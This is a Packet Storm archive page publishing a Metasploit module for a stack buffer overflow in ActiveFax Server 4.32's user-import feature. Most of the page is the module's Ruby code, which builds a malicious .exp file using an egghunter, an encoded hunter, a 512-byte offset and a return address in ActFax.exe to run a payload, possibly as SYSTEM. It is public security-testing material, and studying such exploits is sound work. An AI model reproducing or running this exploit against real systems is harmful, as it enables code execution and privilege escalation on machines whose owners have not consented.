exploit the possibilities

ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow

ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow
Posted Sep 7, 2012
Authored by Craig Freyman, juan vazquez, Brandon Perry | Site metasploit.com

This Metasploit module exploits a vulnerability in ActiveFax Server. The vulnerability is a stack based buffer overflow in the "Import Users from File" function, due to the insecure usage of strcpy while parsing the csv formatted file. The module creates a .exp file that must be imported with ActiveFax Server. The module has been tested successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.

tags | exploit, overflow
systems | windows, xp, 7
MD5 | 3d493b320b659b926b9c741afb1512b5

ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in ActiveFax Server. The vulnerability is
a stack based buffer overflow in the "Import Users from File" function, due to the
insecure usage of strcpy while parsing the csv formatted file. The module creates a
.exp file that must be imported with ActiveFax Server. The module has been tested
successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the
Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', # Vulnerability discovery and PoC
'Brandon Perry', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'EDB', '20915' ],
[ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 4000,
'BadChars' => "",
'DisableNops' => true,
},

'Targets' =>
[
[ 'ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1',
{
'Ret' => 0x00401b22, # ret from ActFax.exe]
'Offset' => 512
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Aug 28 2012',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),], self.class)

end

def exploit

#These badchars do not apply to the final payload
badchars = (0x00..0x20).to_a.pack("C*") + "\x7c"

eggoptions =
{
:checksum => true,
:eggtag => 'w00t'
}

hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

[ 'x86/alpha_upper'].each { |name|
enc = framework.encoders.create(name)
if name =~/alpha/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
end
hunter = enc.encode(hunter, nil, nil, platform)
}

buffer = "\x83\xC4\x7f" * 19 # add esp, byte 0xff
buffer << "\x83\xC4\x23" # add esp, byte 0x23
buffer << hunter
buffer << rand_text(target['Offset'] - buffer.length, badchars)
buffer << [target.ret].pack("V")
buffer << egg

file = "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t"
file << "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t"
file << "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t"
file << "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t"
file << "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t"
file << "Export Incoming\tExport-Path\tMark as Read\r\n"
file << buffer
file << "\r\n"

file_create(file)

end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close